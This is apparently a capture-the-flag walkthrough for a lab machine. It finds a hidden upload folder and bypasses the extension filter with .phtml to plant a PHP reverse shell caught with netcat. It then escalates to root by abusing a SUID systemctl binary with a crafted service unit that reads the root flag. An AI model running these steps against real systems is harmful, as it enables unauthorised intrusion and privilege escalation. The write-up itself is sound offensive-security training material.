Initial foothold

If we go to http://10.10.72.158:3333/ we have a website. However the content is not really useful for us. We can run gobuster, that is how we find the folder internal

  • After a few tries with burp, the accepted exentions is phtml. You can also fuzz it with burp intruder and make a grep match on "extension not allowed" to see which one will be allowed.

  • We edit php revershell (on kali we have it preinstalled) cp /usr/share/webshells/php/php-reverse-shell.php . we rename it in the accepted extension mv php-reverse-shell.php php-reverse-shell.phtml

  • nc -lvp 4444 We set up our listener

  • Now as mentioned we just need to go to http://<ip>:3333/internal/uploads/php-reverse-shell.phtml to execute our shell (if this was not specified we could have run gobuster in the internal folder

  • We get a shell as www-data

Privesc

  • Now let's enumerate our ways to privesc

  • find / -perm -u=s -type f 2>/dev/null We have a few files with suid bit on

/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/squid/pinger
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/su
/bin/ntfs-3g
/bin/mount
/bin/ping6
/bin/umount
/bin/systemctl
/bin/ping
/bin/fusermount
/sbin/mount.cifs

  • We have a GTFOBins entry for /bin/systemctl here

  • Let's try the exploitation

    • It creates a service in an env

    • It will create a temp file in the syst as a service

    • This will execute a command with bin/sh (in GTFObins it will execute id) in our case we could try to output our root flag in the output folder. It will then set a link and enable it

  • Here is our modified script

TF=$(mktemp).service
echo '[Service]
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF

  • Once we pasted all our commands above we just need to cat /tmp/output and this will give us the root flag.
